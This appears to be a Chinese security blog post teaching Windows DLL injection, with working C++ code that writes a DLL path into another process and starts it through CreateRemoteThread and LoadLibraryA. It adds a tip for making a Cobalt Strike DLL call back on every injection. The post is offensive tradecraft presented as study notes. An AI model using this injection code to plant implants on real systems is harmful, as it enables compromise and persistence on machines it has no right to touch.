WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

DLL注入

之前用CreateRemoteThread向进程注入了shellcode,这次学习一下把DLL注入到进程里面

0x01 CreateThread补充

上篇文章说过这个参数,学习了怎么传一个参数进去这次了解一下怎么传多参数

其实就是传个结构进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<iostream>
#include<Windows.h>
struct Parameter
{
int a;
char b;
double c;
};


DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
Parameter* test = (Parameter*)lpParameter;
printf("%d\n", test->a);
printf("%c\n", test->b);
printf("%f\n", test->c);
return 0;
}

int main()
{
struct Parameter test;
test.a = 123;
test.b = 'z';
test.c = 123.123;
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)&test, 0, NULL);
CloseHandle(handle);

system(" pause");

}

0x02 DLL注入

之前学了把shellcode注入到进程内存中,其实原理和那个差不多,写一下步骤

  1. 给进程开一块内存
  2. 从kernel32.dll里面找到LoadLibraryA函数的函数指针,
  3. 把dll路径写入进程内存中
  4. 调用线程用LoadLibraryA函数执行dll

大致的步骤就是这样

每个进程里面都会用到kernel32.dll,所以肯定可以在里面找到需要的函数

下面看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <iostream>
#include <Windows.h>
char path[] = "D:\\vs_code\\injdll\\x64\\Release\\injdll.dll";

int main()
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, 43424);
if (hProcess == INVALID_HANDLE_VALUE) {
printf("Error Code:%d", GetLastError());
return -1;
}
if (hProcess) {
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf("OpenProcess Success\n");
HMODULE dll = GetModuleHandleA("kernel32.dll"); //返回句柄
FARPROC LLib = GetProcAddress(dll, "LoadLibraryA"); //FARPROC是一个函数指针,这里找到LoadLibraryA的函数指针
if (lpBaseAddress) {
printf("base_address:%p\n",lpBaseAddress);
BOOL ret = WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
if (ret) {
printf("WriteProcessMemory Success\n");
HANDLE ThreadHandle = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LLib, lpBaseAddress, 0, 0);
if (ThreadHandle) {
printf("ThreadInject Success\n");
}
else {
printf("ThreadInject Fail\n Error Code:%d", GetLastError());
}
}
else {
printf("\n");
}
}
else {
printf("VirtualAllocEx Fail\n");
}

}
else {
printf("OpenProcess Fail");
}
return 0;
}

基本都一样,多的两行已经加了注释了

0x03 DLL结构

CS生成的dll只能注入一次,第二次注入就不会上线了

是因为DLL调用方式,看一下默认的DLL程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "pch.h"
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
{
//DLL首次被载入进程地址空间到这里
break;
}
case DLL_PROCESS_DETACH:
{
//从进程的地址空间解除映射的时候会到这里
break;
}
case DLL_THREAD_ATTACH:
{
//创建一个线程是会到这里
break;
}
case DLL_THREAD_DETACH:
{
//线程结束会到这里
break;
}
}
return TRUE;
}

CS生成的DLL应该是用这个DLL_PROCESS_ATTACH调用的,只有首次被载入的时候会执行,可以自己写一个DLL_THREAD_ATTACH调用,这样每次注入都会上线一次

0x04 踩坑

GetModuleHandleA

这个函数只能得到已经在当前进程中的dll的句柄,不能拿到不在当前进程中的dll的句柄

当时一直想用这个调用DLL但是总是提示找不到,后来查了才发现一定要在当前进程里面有才可以

DLL路径存放问题和CreateRemoteThread调用函数问题

虽然这是两个问题但是可以放在一起说

当时一直不明白为什么DLL路径一定要放在那个进程里面,因为看起来就是一个字符串,放在哪里都没问题的

还有一点为什么要用

1
FARPROC LLib = GetProcAddress(dll, "LoadLibraryA");

这样的方式获取函数指针,为啥不重新写一个函数放进去

其实说简单点就是用LoadLibraryA加载DLL都是在那个进程的内存里面完成的,所以函数也是那边调用,参数也是要在那个进程的内存里面找

如果DLL路径不在那个进程内存里面,那边的LoadLibraryA函数就读不到了,同理,在当前程序写一个函数,那边的进程也是用不了的,需要用那个进程里面的kernel32.dll里面的LoadLibraryA函数指针

0x05 效果图